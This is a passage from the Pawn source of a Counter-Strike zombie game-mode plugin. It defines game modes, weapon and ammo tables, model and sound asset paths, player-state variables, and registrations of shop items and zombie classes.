	MODE_NEMESIS,
	MODE_ASSASSIN,
	MODE_SURVIVOR,
	MODE_SNIPER,
	MODE_SWARM,
	MODE_MULTI,
	MODE_PLAGUE,
	MODE_ARMAGEDDON,
	MODE_APOCALYPSE,
	MODE_NIGHTMARE
};

const ZRISES_TEAM_NO_ONE = 0;
const ZRISES_TEAM_ANY = 0;
const ZRISES_TEAM_ZOMBIE = (1<<0);
const ZRISES_TEAM_HUMAN = (1<<1) ;
const ZRISES_TEAM_NEMESIS = (1<<2);
const ZRISES_TEAM_SURVIVOR = (1<<3);
const ZRISES_TEAM_SNIPER = (1<<4);
const ZRISES_TEAM_ASSASSIN = (1<<5);

#if cellbits == 32
const OFFSET_CLIPAMMO = 51;
#else
const OFFSET_CLIPAMMO = 65;
#endif


enum
{
	FM_CS_TEAM_UNASSIGNED = 0,
	FM_CS_TEAM_T,
	FM_CS_TEAM_CT,
	FM_CS_TEAM_SPECTATOR
};

new const CS_TEAM_NAMES [ ] [ ] =
{
	"UNASSIGNED",
	"TERRORIST",
	"CT",
	"SPECTATOR"
};

new const GetObjectiveEnts [ ] [ ] =
{
	"func_bomb_target",
	"info_bomb_target",
	"info_vip_start",
	"func_vip_safetyzone",
	"func_escapezone",
	"hostage_entity",
	"monster_scientist",
	"func_hostage_rescue",
	"info_hostage_rescue",
	"env_fog",
	"item_longjump",
	"func_vehicle"
}

new const MAXBPAMMO [ ] =
{
	-1, 254, -1,
	254, 1, 254, 1,
	254, 254, 1, 254,
	254, 254, 254, 254,
	254, 254, 254, 254,
	254, 254, 254, 254,
	254, 254, 2, 254, 254,
	254, -1, 254
};


new const MAXCLIP [ ] =
{
	-1, 13, -1,
	10, -1, 7, -1,
	30, 30, -1, 30,
	20, 25, 30, 35,
	25, 12, 20, 10,
	30, 100, 8, 30,
	30, 20, -1, 7, 30,
	30, -1, 50
};

new const AMMOID [ ] =
{
	-1, 9, -1,
	2, 12, 5,
	14, 6, 4,
	13, 10, 7,
	6, 4, 4, 4,
	6, 10, 1, 10,
	3, 5, 4, 10, 2,
	11, 8, 4, 2, -1, 7
};

new const AMMOTYPE [ ] [ ] =
{
	"", "357sig", "", "762nato",
	"", "buckshot", "", "45acp",
	"556nato", "", "9mm", "57mm",
	"45acp", "556nato", "556nato",
	"556nato", "45acp", "9mm", "338magnum",
	"9mm", "556natobox", "buckshot", "556nato",
	"9mm", "762nato", "", "50ae", "556nato",
	"762nato", "", "57mm"
};

new const AMMOWEAPON [ ] =
{
	0,
	CSW_AWP,
	CSW_SCOUT,
	CSW_M249,
	CSW_AUG,
	CSW_XM1014,
	CSW_MAC10,
	CSW_FIVESEVEN,
	CSW_DEAGLE,
	CSW_P228,
	CSW_ELITE,
	CSW_FLASHBANG,
	CSW_HEGRENADE,
	CSW_SMOKEGRENADE,
	CSW_C4
};

new const WEAPONENTNAMES [ ] [ ] =
{
	"",
	"weapon_p228",
	"",
	"weapon_scout",
	"weapon_hegrenade",
	"weapon_xm1014",
	"weapon_c4",
	"weapon_mac10",
	"weapon_aug",
	"weapon_smokegrenade",
	"weapon_elite",
	"weapon_fiveseven",
	"weapon_ump45",
	"weapon_sg550",
	"weapon_galil",
	"weapon_famas",
	"weapon_usp",
	"weapon_glock18",
	"weapon_awp",
	"weapon_mp5navy",
	"weapon_m249",
	"weapon_m3",
	"weapon_m4a1",
	"weapon_tmp",
	"weapon_g3sg1",
	"weapon_flashbang",
	"weapon_deagle",
	"weapon_sg552",
	"weapon_ak47",
	"weapon_knife",
	"weapon_p90"
};

new Float:g_fKnockback_Weapon_Power[] =
{
	-1.0,	// ---
	2.4,	// P228
	-1.0,	// ---
	6.5,	// SCOUT
	-1.0,	// ---
	8.0,	// XM1014
	-1.0,	// ---
	2.3,	// MAC10
	5.0,	// AUG
	-1.0,	// ---
	2.4,	// ELITE
	2.0,	// FIVESEVEN
	2.4,	// UMP45
	5.3,	// SG550
	5.5,	// GALIL
	5.5,	// FAMAS
	2.2,	// USP
	2.0,	// GLOCK18
	10.0,	// AWP
	2.5,	// MP5NAVY
	5.2,	// M249
	8.0,	// M3
	5.0,	// M4A1
	2.4,	// TMP
	6.5,	// G3SG1
	-1.0,	// ---
	5.3,	// DEAGLE
	5.0,	// SG552
	6.0,	// AK47
	-1.0,	// ---
	2.0		// P90
};

// Guns
enum _:WeaponData
{
wInfo[ 20 ],
wName[ 20 ],
wBpammo
}



new g_PrimaryWeapon[ ][ WeaponData ] =
{
{ "GALIL", "weapon_galil", 1000 },
{ "FAMAS", "weapon_famas", 1000 },
{ "M4A1", "weapon_m4a1", 1000 },
{ "AK47", "weapon_ak47", 1000 },
{ "AUG", "weapon_aug", 1000 },
{ "SG552", "weapon_sg552", 1000 },
{ "XM1014", "weapon_xm1014", 1000 },
{ "M3", "weapon_m3", 1000 },
{ "Schmidt TMP", "weapon_tmp", 1000 },
{ "MP5NAVY", "weapon_mp5navy", 1000 },
{ "P90", "weapon_p90", 1000 }
}

new g_SecondaryWeapon[ ][ WeaponData ] =
{
{ "USP", "weapon_usp", 1000 },
{ "GLOCK18", "weapon_glock18", 1000 },
{ "P228", "weapon_p228", 1000 },
{ "DEAGLE", "weapon_deagle", 1000 },
{ "ELITE", "weapon_elite", 1000 },
{ "FIVESEVEN", "weapon_fiveseven", 1000 }
}

new GetHumanModels [ ] [ ] =
{
	"arctic",
	"guerilla",
	"leet",
	"terror",
	"gign",
	"gsg9",
	"sas",
	"urban"
};

new GetNemesisModels [ ] [ ] =
{
	"z_out_nemesis"
};

new GetAssassinModels [ ] [ ] =
{
	"z_out_assassin"
};

new GetSurvivorModels [ ] [ ] =
{
    "z_out_survivor"
};

new GetSniperModels [ ] [ ] =
{
    "arctic"
};

new GetOwnerModels [ ] [ ] =
{
    "DanDiaconescu"
};

new GetAdminModels [ ] [ ] =
{
	"z_out_admin"
};

new GetModelKnifeHuman [ ] =
{
	"models/v_knife.mdl"
};

new GetModelKnifeNemesis [ ] =
{
	"models/ZombieOutstanding/z_out_nemesis_claws.mdl"
};

new GetModelKnifeAssassin [ ] =
{
	"models/ZombieOutstanding/z_out_assassin_claws.mdl"
};

new vGetModelAwpSniper [ ] =
{
	"models/ZombieOutstanding/z_out_v_awp_sniper.mdl"
};

new pGetModelAwpSniper [ ] =
{
	"models/ZombieOutstanding/z_out_p_awp_sniper.mdl"
};

new GetModelGrenadeInfect [ ] =
{
	"models/v_hegrenade.mdl"
};

new GetModelGrenadeExplode [ ] =
{
	"models/v_hegrenade.mdl"
};

new GetModelGrenadeFire  [ ] =
{
	"models/v_flashbang.mdl"
};

new GetModelGrenadeFrost [ ] =
{
	"models/v_smokegrenade.mdl"
};

new GetModelTripmine [ ] =
{
	"models/ZombieOutstanding/z_out_mine.mdl"
};

new GetModelRocket [ ] =
{
	"models/rpgrocket.mdl"
};

new Goldenak47_v [ ] =
{
	"models/ZombieOutstanding/v_golden_ak47.mdl"
}

new Goldenak47_p [ ] =
{
	"models/ZombieOutstanding/v_golden_ak47.mdl"
}

new Goldev [ ] =
{
	"models/ZombieOutstanding/v_golden_deagle.mdl"
}


new Goldep [ ] =
{
	"models/ZombieOutstanding/p_golden_deagle.mdl"
}

new GetSoundWinZombies [ 4 ] [ ] =
{
    "ZombieOutstanding/end_round_win_zombies_01.wav",
    "ZombieOutstanding/end_round_win_zombies_02.wav",
    "ZombieOutstanding/end_round_win_zombies_03.wav",
    "ZombieOutstanding/end_round_win_zombies_04.wav"
};

new GetSoundWinHumans [ 3 ] [ ] =
{
    "ZombieOutstanding/end_round_win_humans_01.wav",
    "ZombieOutstanding/end_round_win_humans_02.wav",
    "ZombieOutstanding/end_round_win_humans_03.wav"
};

new GetSoundWinNoOne [ 1 ] [ ] =
{
    "ZombieOutstanding/end_round_win_no_one.wav"
};

new GetSoundZombieInfect [ 5 ] [ ] =
{
    "ZombieOutstanding/zombie_infect_01.wav",
    "ZombieOutstanding/zombie_infect_02.wav",
    "ZombieOutstanding/zombie_infect_03.wav",
    "ZombieOutstanding/zombie_infect_04.wav",
    "ZombieOutstanding/zombie_infect_05.wav"
};

new GetSoundZombiePain [ 5 ] [ ] =
{
    "ZombieOutstanding/zombie_hit_01.wav",
    "ZombieOutstanding/zombie_hit_02.wav",
    "ZombieOutstanding/zombie_hit_03.wav",
    "ZombieOutstanding/zombie_hit_04.wav",
    "ZombieOutstanding/zombie_hit_05.wav"
};

new GetSoundNemesisPain [ 3 ] [ ] =
{
    "ZombieOutstanding/monster_hit_01.wav",
    "ZombieOutstanding/monster_hit_02.wav",
    "ZombieOutstanding/monster_hit_03.wav"
};

new GetSoundAssassinPain [ 3 ] [ ] =
{
    "ZombieOutstanding/monster_hit_01.wav",
    "ZombieOutstanding/monster_hit_02.wav",
    "ZombieOutstanding/monster_hit_03.wav"
};

new GetSoundZombieDie [ 5 ] [ ] =
{
    "ZombieOutstanding/zombie_die_01.wav",
    "ZombieOutstanding/zombie_die_02.wav",
    "ZombieOutstanding/zombie_die_03.wav",
    "ZombieOutstanding/zombie_die_04.wav",
    "ZombieOutstanding/zombie_die_05.wav"
};

new GetSoundZombieFall [ 2 ] [ ] =
{
    "ZombieOutstanding/zombie_hit_01.wav",
	"ZombieOutstanding/zombie_hit_03.wav"
};

new GetSoundZombieMissSlash [ 2 ] [ ] =
{
    "weapons/knife_slash1.wav",
    "weapons/knife_slash2.wav"
};

new GetSoundZombieMissWall [ 1 ] [ ] =
{
    "weapons/knife_hitwall1.wav"
};

new GetSoundZombieHitNormal [ 4 ] [ ] =
{
    "weapons/knife_hit1.wav",
    "weapons/knife_hit2.wav",
    "weapons/knife_hit3.wav",
    "weapons/knife_hit4.wav"
};

new GetSoundZombieHitStab [ 1 ] [ ] =
{
    "weapons/knife_stab.wav"
};

new GetSoundZombieMadness [ 1 ] [ ] =
{
	"ZombieOutstanding/zombie_madness.wav"
};

new GetSoundNemesis [ 2 ] [ ] =
{
    "ZombieOutstanding/round_start_nemesis_01.wav",
    "ZombieOutstanding/round_start_nemesis_02.wav"
};

new GetSoundAssassin [ 1 ] [ ] =
{
    "ZombieOutstanding/round_start_nemesis_01.wav"
};

new GetSoundSurvivor [ 2 ] [ ] =
{
    "ZombieOutstanding/round_start_survivor_01.wav",
    "ZombieOutstanding/round_start_survivor_02.wav"
};

new GetSoundSniper [ 2 ] [ ] =
{
    "ZombieOutstanding/round_start_survivor_01.wav",
    "ZombieOutstanding/round_start_survivor_02.wav"
};

new GetSoundSwarm [ 1 ] [ ] =
{
    "ZombieOutstanding/round_start_plague.wav"
};

new GetSoundMulti [ 1 ] [ ] =
{
    "ZombieOutstanding/round_start_plague.wav"
};

new GetSoundPlague [ 1 ] [ ] =
{
    "ZombieOutstanding/round_start_plague.wav"
};

new GetSoundArmageddon [ 1 ] [ ] =
{
    "ZombieOutstanding/round_start_nemesis_02.wav"
};

new GetSoundApocalypse [ 2 ] [ ] =
{
    "ZombieOutstanding/round_start_nemesis_01.wav",
    "ZombieOutstanding/round_start_survivor_01.wav"
};

new GetSoundNightmare [ 2 ] [ ] =
{
    "ZombieOutstanding/round_start_nemesis_01.wav",
    "ZombieOutstanding/round_start_survivor_01.wav"
};

new GetSoundGrenadeInfect [ 1 ] [ ] =
{
    "ZombieOutstanding/grenade_infection_explode.wav"
};

new GetSoundGrenadeInfectPlayer [ 3 ] [ ] =
{
    "ZombieOutstanding/human_nade_infect_scream_01.wav",
    "ZombieOutstanding/human_nade_infect_scream_02.wav",
    "ZombieOutstanding/human_nade_infect_scream_03.wav"
};

new GetSoundGrenadeFire [ 1 ] [ ] =
{
    "ZombieOutstanding/grenade_fire_explode.wav"
};

new GetSoundGrenadeFirePlayer [ 5 ] [ ] =
{
    "ZombieOutstanding/zombie_burn_01.wav",
    "ZombieOutstanding/zombie_burn_02.wav",
    "ZombieOutstanding/zombie_burn_03.wav",
    "ZombieOutstanding/zombie_burn_04.wav",
    "ZombieOutstanding/zombie_burn_05.wav"
};

new GetSoundGrenadeFrost [ 1 ] [ ] =
{
    "ZombieOutstanding/grenade_frost_explode.wav"
};

new GetSoundGrenadeFrostPlayer [ 1 ] [ ] =
{
    "ZombieOutstanding/grenade_frost_freeze.wav"
};

new GetSoundGrenadeFrostBreak [ 1 ] [ ] =
{
    "ZombieOutstanding/grenade_frost_break.wav"
};

new GetSoundAntidote [ 1 ] [ ] =
{
    "ZombieOutstanding/antidote.wav"
};

new GetSoundAmbienceInfection [ 1 ] [ ] =
{
    "ZombieOutstanding/ambience_normal.wav"
};

new GetSoundAmbienceNemesis [ 1 ] [ ] =
{
    "ZombieOutstanding/ambience_normal.wav"
};

new GetSoundAmbienceAssassin [ 1 ] [ ] =
{
    "ZombieOutstanding/ambience_normal.wav"
};

new GetSoundAmbienceSurvivor [ 1 ] [ ] =
{
    "ZombieOutstanding/ambience_survivor.wav"
};

new GetSoundAmbienceSniper [ 1 ] [ ] =
{
    "ZombieOutstanding/ambience_normal.wav"
};

new GetSoundAmbienceSwarm [ 1 ] [ ] =
{
    "ZombieOutstanding/ambience_normal.wav"
};

new GetSoundAmbiencePlague [ 1 ] [ ] =
{
    "ZombieOutstanding/ambience_normal.wav"
};

new GetSoundAmbienceArmageddon [ 1 ] [ ] =
{
    "ZombieOutstanding/ambience_normal.wav"
};

new GetSoundAmbienceApocalypse [ 1 ] [ ] =
{
    "ZombieOutstanding/ambience_normal.wav"
};

new GetSoundAmbienceNightmare [ 1 ] [ ] =
{
    "ZombieOutstanding/ambience_normal.wav"
};

new GetModelGrenadeKilling [ ] =
{
	"models/v_smokegrenade.mdl"
};

const PRIMARY_WEAPONS_BIT_SUM = (1<<CSW_SCOUT)|(1<<CSW_XM1014)|(1<<CSW_MAC10)|(1<<CSW_AUG)|(1<<CSW_UMP45)|(1<<CSW_SG550)|(1<<CSW_GALIL)|(1<<CSW_FAMAS)|(1<<CSW_AWP)|(1<<CSW_MP5NAVY)|(1<<CSW_M249)|(1<<CSW_M3)|(1<<CSW_M4A1)|(1<<CSW_TMP)|(1<<CSW_G3SG1)|(1<<CSW_SG552)|(1<<CSW_AK47)|(1<<CSW_P90);
const SECONDARY_WEAPONS_BIT_SUM = (1<<CSW_P228)|(1<<CSW_ELITE)|(1<<CSW_FIVESEVEN)|(1<<CSW_USP)|(1<<CSW_GLOCK18)|(1<<CSW_DEAGLE);
const ZOMBIE_ALLOWED_WEAPONS_BITSUM = (1<<CSW_KNIFE)|(1<<CSW_HEGRENADE)|(1<<CSW_FLASHBANG)|(1<<CSW_SMOKEGRENADE)|(1<<CSW_C4);


const KEYS_GAMEMENU = MENU_KEY_0|MENU_KEY_1|MENU_KEY_2|MENU_KEY_3|MENU_KEY_4|MENU_KEY_5;

const KEYS_BUYMENU = MENU_KEY_0|MENU_KEY_1|MENU_KEY_2|MENU_KEY_3|MENU_KEY_4|MENU_KEY_5|MENU_KEY_6|MENU_KEY_7|MENU_KEY_8|MENU_KEY_9;

const ZRISES_PLUGIN_HANDLED = 97;

enum
{
	zRisesTryderHealth,
	zRisesTryderArmor,
	zRisesNemesisHealth,
	zRisesAssassinHealth,
	zRisesHumanHealth,
	zRisesNemesisGravity,
	zRisesAssassinGravity,
	zRisesAmmoDamage,
	zRisesZombieArmor,
	zRisesNemesisSpeed,
	zRisesAssassinSpeed,
	zRisesSurvivorHealth,
	zRisesSurvivorSpeed,
	zRisesSniperHealth,
	zRisesSniperSpeed,
	zRisesHumanSpeed,
	zRisesAmmoInfect,
	zRisesSurvivorGravity,
	zRisesSniperGravity,
	zRisesHumanGravity,
	zRisesNightmareNemesisHealth,
	zRisesNightmareAssassinHealth,
	zRisesApocalypseNemesisHealth,
	zRisesApocalypseSurvivorHealth,
	zRisesApocalypseAssassinHealth,
	zRisesApocalypseSniperHealth,
	zRisesNemesisDamage,
	zRisesAssassinDamage,
	zRisesNightmareSurvivorHealth,
	zRisesNightmareSniperHealth,
	zRisesPlagueNemesisHealth,
	zRisesPlagueSurvivorHealth,
	zRisesSniperDamage,
	zRisesStartPacks,
	MAX_CVARS
}


new HasTripMines [33], PlantedMines [33], HasPlanting [33], HasRemoving [33],

Float: iSpeed = 1000.0, Float: iDelay = 1.0, iEnemy [33], InBlink [33], Float: iLastSlash [33], iCanceled [33], iSlash [33], iBlinks [33],

bool: Fly [33] = false, bool: Rocket [33] = false, bool: RSound [33] = false, bool: Shot [33] = false,

Float: iTime = 0.0, Float: LastRocket [33] = 0.0,

Float: JPCal [33] = 0.0, Float: JPSound [33] = 0.0, FlyEnergy [33], HasJet [33],

JPSmokeSpr, xFireBallSpr, WhiteSpr,

HasUnlimitedClip [33], JumpNum [33] = 0, bool: DoJump [33] = false, MultiJumps [33] = 0,

IsTryder [33], UserTotalAmmo [33],g_PrimaryMenu, g_SecondaryMenu, g_iGameMenu, g_Argping[33][3], g_Offset[ 33 ][ 2 ], g_iPoints[33];

new g_vault=INVALID_HANDLE;

new g_iSteam[33][64];

new on_stuck[33];

new AdminCount, bool: CaseSensitiveName [33], AmxMode, AmxPasswordField, AmxDefaultAccess,

PlayerGagged [33], PlayerGagTime [33], JoinTime [33],

gName [32], MsgChannel

new Array: GetMessages, Handler;

new PlayerTag [33] [32], bool: PlayerHasTag [33], File [128],

RestrictedNames [256] [32], WordsCount;

new g_doubledamage[33], g_bFrozen[33];

new Array:g_vname, Array:g_vflags, Array:g_vpwd;

new bool:g_vip[33], g_vip_flags[33][32];

new cvar_on, cvar_messages;

new g_iLaser, g_msgSayText;

new bool:zp_get_gold_ak[MAX_PLAYERS+1], bool:zp_get_gold_de[MAX_PLAYERS+1];

new cvar_bslot, cvar_bam, cvar_100ap, cvar_200ap, cvar_300ap, cvar_dmg2, cvar_god, cvar_arnd, g_Damage2[MAX_PLAYERS+1], bool:g_Godmode[MAX_PLAYERS+1], bool:g_slotpass[MAX_PLAYERS+1], bool:g_modelpass[MAX_PLAYERS+1];

new bool:has_item[33], bool:using_item[33], sync_hud1, cvar_deadlyshot_time;

new SpriteTexture

new g_iKillsThisRound[33], g_iVariable;
/* ---------------------- | For GamePlay | --------------------- */

new MaxPlayers, ModeAssassin, ModeSurvivor, ModeNemesis, ModeSniper,

CountDown, IsZombie [33], IsNemesis [33],

IsAssassin [33], IsSurvivor [33], IsSniper [33], FirstZombie [33], LastZombie [33], LastHuman [33],

IsFrozen [33], NoDamage [33], NVision [33], NVisionEnabled [33], ZombieClass [33],

ZombieClassNext [33], CanBuy [33], AmmoPacks [33], DamageDealt [33],

Float: LastLeapTime [33], PlayerModel [33] [32], BurningDuration [33],

iPosition [33], NewRound, EndRound, NemesisRound, AssassinRound, SurvivorRound, SniperRound, SwarmRound, ArmageddonRound,

ApocalypseRound, NightmareRound, PlagueRound, ModeStarted, LastMode, ScoreZombies, ScoreHumans, SpawnCount,

Float: Spawns [128] [3], Float: ModelTargetTime,

Float: TeamsTargetTime, TrailSpr, ExploSpr, FlameSpr, SmokeSpr, GlassSpr, HExplode, FreezeTime, HamCzBots, fwSpawn, fwPrecacheSound,

LastPlayerLeaving, SwitchingTeam, iSize,

fwRoundStart, fwRoundEnd, fwUserInfectedPre, fwUserInfectedPost, fwUserHumanizedPre, fwUserHumanizedPost, fwUserInfectAttempt, fwUserHumanizeAttempt,

fwUserUnfrozen, fwUserLastZombie, fwUserLastHuman, fwDummyResult,

DBName [64] [32], DBPacks [64], DBZombieClass [64], DBSlot,

Array: ExtraItemName_01, Array: ExtraItemCost_01, Array: ExtraItemTeam_01, iExtraItem,

Array: ExtraItemNew, Array: ZClassName_01, Array: ZClassInfo_01, Array: ZClassModelsStart_01, Array: ZClassModelSend_01, Array: ZClassPlayerModel_01, Array: ZClassModelIndex_01,

Array: ZClassClawModel_01, Array: ZClassHealth_01, Array: ZClassSpeed_01, Array: ZClassGravity_01, Array: ZClassKnockback_01, iZClass,

Array: ZClassNew,

Array: ModelNemesis, Array: ModelAssassin, Array: ModelSurvivor, Array: ModelSniper, Array: ModelHuman, Array: ModelOwnerHuman, Array: ModelAdminHuman,

Array: SoundWinZombies, Array: SoundWinHumans, Array: SoundWinNoOne, Array: ZombieInfect, Array: ZombiePain, Array: NemesisPain, Array: AssassinPain, Array: ZombieDie, Array: ZombieFall,

Array: ZombieMissWall, Array: ZombieHitNormal, Array: ZombieHitStab,

Array: ZombieMadness, Array: SoundNemesis, Array: SoundAssassin, Array: SoundSurvivor, Array: SoundSniper, Array: SoundSwarm, Array: SoundMulti, Array: SoundPlague, Array: SoundArmageddon, Array: SoundApocalypse,

Array: SoundNightmare, Array: GrenadeInfect, Array: GrenadeInfectPlayer, Array: GrenadeFrost, Array: GrenadeFrostPlayer, Array: GrenadeFrostBreak, Array: GrenadeFire, Array: GrenadeFirePlayer,

Array: SoundAntidote, Array: SoundAmbience_01, Array: SoundAmbience_02, Array: SoundAmbience_03, Array: SoundAmbience_04, Array: SoundAmbience_05, Array: SoundAmbience_06,

Array: SoundAmbience_07, Array: SoundAmbience_08, Array: SoundAmbience_09, Array: SoundAmbience_10,

Array: ObjectiveEnts,

Array: ZombieMissSlash, IsConnected [33], IsAlive [33], IsBot [33], CurrentWeapon [33], PlayerName [33] [32], Float: ZombieSpeed [33], Float: ZombieKnockback [33], ZombieClassName [33] [32], Float: CachedHumanSpeed,

Float: CachedNemesisSpeed, Float: CachedAssassinSpeed, Float: CachedSurvivorSpeed, Float: CachedSniperSpeed,

GetCvar [MAX_CVARS], TaskReward [33], UserIp [33] [64],

HudMsgSync [4]

#define is_user_valid_connected(%1) (1 <= %1 <= MaxPlayers && IsConnected[%1])

#define is_user_valid_alive(%1) (1 <= %1 <= MaxPlayers && IsAlive[%1])

public plugin_precache (  )
{
	precache_sound ( "fvox/flatline.wav" );

	precache_sound ( "fvox/one.wav" );

	precache_sound ( "fvox/two.wav" );

	precache_sound ( "fvox/three.wav" );

	precache_sound ( "fvox/four.wav" );

	precache_sound ( "fvox/five.wav" );

	precache_sound ( "fvox/six.wav" );

	precache_sound ( "fvox/seven.wav" );

	precache_sound ( "fvox/eight.wav" );

	precache_sound ( "fvox/nine.wav" );

	precache_sound ( "fvox/ten.wav" );

	ModelHuman = ArrayCreate(32, 1);

	ModelNemesis = ArrayCreate(32, 1);

	ModelAssassin = ArrayCreate(32, 1);

	ModelSurvivor = ArrayCreate(32, 1);

	ModelSniper = ArrayCreate(32, 1);

	ModelOwnerHuman = ArrayCreate(32, 1);

	ModelAdminHuman = ArrayCreate ( 32, 1 );

	SoundWinZombies = ArrayCreate(64, 1);

	SoundWinHumans = ArrayCreate(64, 1);

	SoundWinNoOne = ArrayCreate(64, 1);

	ZombieInfect = ArrayCreate(64, 1);

	ZombiePain = ArrayCreate(64, 1);

	NemesisPain = ArrayCreate(64, 1);

	AssassinPain = ArrayCreate(64, 1);

	ZombieDie = ArrayCreate(64, 1);

	ZombieFall = ArrayCreate(64, 1);

	ZombieMissSlash = ArrayCreate(64, 1);

	ZombieMissWall = ArrayCreate(64, 1);

	ZombieHitNormal = ArrayCreate(64, 1);

	ZombieHitStab = ArrayCreate(64, 1);

	ZombieMadness = ArrayCreate(64, 1);

	SoundNemesis = ArrayCreate(64, 1);

	SoundAssassin = ArrayCreate(64, 1);

	SoundSurvivor = ArrayCreate(64, 1);

	SoundSniper = ArrayCreate(64, 1);

	SoundSwarm = ArrayCreate(64, 1);

	SoundMulti = ArrayCreate(64, 1);

	SoundPlague = ArrayCreate(64, 1);

	SoundArmageddon = ArrayCreate(64, 1);

	SoundApocalypse = ArrayCreate(64, 1);

	SoundNightmare = ArrayCreate(64, 1);

	GrenadeInfect = ArrayCreate(64, 1);

	GrenadeInfectPlayer = ArrayCreate(64, 1);

	GrenadeFire = ArrayCreate(64, 1);

	GrenadeFirePlayer = ArrayCreate(64, 1);

	GrenadeFrost = ArrayCreate(64, 1);

	GrenadeFrostPlayer = ArrayCreate(64, 1);

	GrenadeFrostBreak = ArrayCreate(64, 1);

	SoundAntidote = ArrayCreate(64, 1);

	SoundAmbience_01 = ArrayCreate(64, 1);

	SoundAmbience_02 = ArrayCreate(64, 1);

	SoundAmbience_03 = ArrayCreate(64, 1);

	SoundAmbience_04 = ArrayCreate(64, 1);

	SoundAmbience_05 = ArrayCreate(64, 1);

	SoundAmbience_06 = ArrayCreate(64, 1);

	SoundAmbience_07 = ArrayCreate(64, 1);

	SoundAmbience_08 = ArrayCreate(64, 1);

	SoundAmbience_09 = ArrayCreate(64, 1);

	SoundAmbience_10 = ArrayCreate(64, 1);

	ObjectiveEnts = ArrayCreate(32, 1);

	ExtraItemName_01 = ArrayCreate(32, 1);

	ExtraItemCost_01 = ArrayCreate(1, 1);

	ExtraItemTeam_01 = ArrayCreate(1, 1);

	ExtraItemNew = ArrayCreate(1, 1);

	ZClassName_01 = ArrayCreate(32, 1);

	ZClassInfo_01 = ArrayCreate(32, 1);

	ZClassModelsStart_01 = ArrayCreate(1, 1);

	ZClassModelSend_01 = ArrayCreate(1, 1);

	ZClassPlayerModel_01 = ArrayCreate(32, 1);

	ZClassModelIndex_01 = ArrayCreate(1, 1);

	ZClassClawModel_01 = ArrayCreate(32, 1);

	ZClassHealth_01 = ArrayCreate(1, 1);

	ZClassSpeed_01 = ArrayCreate(1, 1);

	ZClassGravity_01 = ArrayCreate(1, 1);

	ZClassKnockback_01 = ArrayCreate(1, 1);

	ZClassNew = ArrayCreate(1, 1);

	g_vflags = ArrayCreate(64, 1)

	g_vname = ArrayCreate(64, 1)

	g_vpwd = ArrayCreate(64, 1)

	g_iLaser = precache_model ( "sprites/laserbeam.spr" );

	SpriteTexture = precache_model("sprites/dot.spr");

	get_configsdir ( File, charsmax ( File ) );

	formatex ( File, charsmax ( File ), "%s/Tags.ini", File );

	new i, Buffer [100];

	register_item ( "Fire Grenade", 4, ZRISES_TEAM_HUMAN );

	register_item ( "Freeze Grenade", 3, ZRISES_TEAM_HUMAN );

	register_item ( "Explosion Grenade", 4, ZRISES_TEAM_HUMAN );

	register_item ( "Deadly Shot\y (Recommended)", 42, ZRISES_TEAM_HUMAN );

	register_item ( "M249 Machine Gun", 9, ZRISES_TEAM_HUMAN );

	register_item ( "G3SG1 Auto Sniper Rifle", 11, ZRISES_TEAM_HUMAN );

	register_item ( "SG550 Auto Sniper Rifle", 10, ZRISES_TEAM_HUMAN );

	register_item ( "AWP Sniper Rifle", 9, ZRISES_TEAM_HUMAN );

	register_item ( "NightVision Googles", 2, ZRISES_TEAM_HUMAN );

	register_item ( "Jetpack + Bazooka", 32, ZRISES_TEAM_HUMAN );

	register_item ( "Unlimited Clip", 10, ZRISES_TEAM_HUMAN );

	register_item ( "Armor\y (100ap)", 5, ZRISES_TEAM_HUMAN );

	register_item ( "Armor\y (200ap)", 10, ZRISES_TEAM_HUMAN );

	register_item ( "Multijump +1", 5, ZRISES_TEAM_HUMAN );

	register_item ( "Tryder", 30, ZRISES_TEAM_HUMAN );

	register_item ( "Golden Kalashnikov\y (AK-47)", 36, ZRISES_TEAM_HUMAN );

	register_item ( "Golden Desert Eagle\y (Night Hawk)", 20, ZRISES_TEAM_HUMAN );

	register_item ( "Survivor", 180, ZRISES_TEAM_HUMAN );

	register_item ( "Sniper", 175, ZRISES_TEAM_HUMAN );

	register_item ( "Nemesis", 140, ZRISES_TEAM_HUMAN );

	register_item ( "Assassin", 140, ZRISES_TEAM_HUMAN );


	register_item ( "Antidote", 15, ZRISES_TEAM_ZOMBIE );

	register_item ( "Infection Grenade", 20, ZRISES_TEAM_ZOMBIE );

	register_item ( "Zombie Madness", 15, ZRISES_TEAM_ZOMBIE );

	register_item ( "Knife Blink", 20, ZRISES_TEAM_ZOMBIE );


	register_zombie_class ( "Classic", "=Balanced=", "z_out_clasic", "z_out_clasic_claws.mdl", 6000, 264, 1.0, 0.82 );

	register_zombie_class ( "Raptor", "Speed ++", "z_out_raptor", "z_out_raptor_claws.mdl", 5250, 309, 0.94, 1.29 );

	register_zombie_class ( "Mutant", "Health ++", "z_out_mutant", "z_out_mutant_claws.mdl", 7500, 244, 1.09, 0.43 );

	register_zombie_class ( "Tight", "Double Jump", "z_out_tight", "z_out_tight_claws.mdl", 4250, 259, 0.57, 1.0 );

	register_zombie_class ( "Regenerator", "Regeneration", "z_out_regenerator", "z_out_raptor_claws.mdl", 5500, 249, 1.0, 0.88 );

	register_zombie_class ( "Predator Blue", "Powerful", "z_out_predator_blue", "z_out_predator_blue_claws.mdl", 6000, 279, 0.74, 0.68 );

	register_zombie_class ( "Hunter", "Silent Killer", "z_out_hunter", "z_out_hunter_claws.mdl", 5450, 274, 0.60, 0.83 );


	if ( ArraySize ( ObjectiveEnts ) == 0 )
	{
		for ( i = 0; i < sizeof ( GetObjectiveEnts ); i ++ )

		ArrayPushString ( ObjectiveEnts, GetObjectiveEnts [i])
	}

	for ( i = 1; i < sizeof ( WEAPONENTNAMES ); i ++ )
	{
		if ( g_fKnockback_Weapon_Power [i] == -1.0 ) continue;
	}

	if ( ArraySize ( ModelHuman ) == 0 )
	{
	 	for ( i = 0; i < sizeof ( GetHumanModels ); i ++ )

		ArrayPushString ( ModelHuman, GetHumanModels [i] );
	}

	for ( i = 0; i < ArraySize ( ModelHuman ); i ++ )
	{
		ArrayGetString ( ModelHuman, i, Buffer, charsmax ( Buffer ) );

		format ( Buffer, charsmax ( Buffer ), "models/player/%s/%s.mdl", Buffer, Buffer );

		engfunc ( EngFunc_PrecacheModel, Buffer );
	}

	if ( ArraySize ( ModelNemesis ) == 0 )
	{
		for ( i = 0; i < sizeof GetNemesisModels; i ++ )

		ArrayPushString ( ModelNemesis, GetNemesisModels [i] );
	}

	for ( i = 0; i < ArraySize ( ModelNemesis ); i ++ )
	{
		ArrayGetString( ModelNemesis, i, Buffer, charsmax ( Buffer ) );

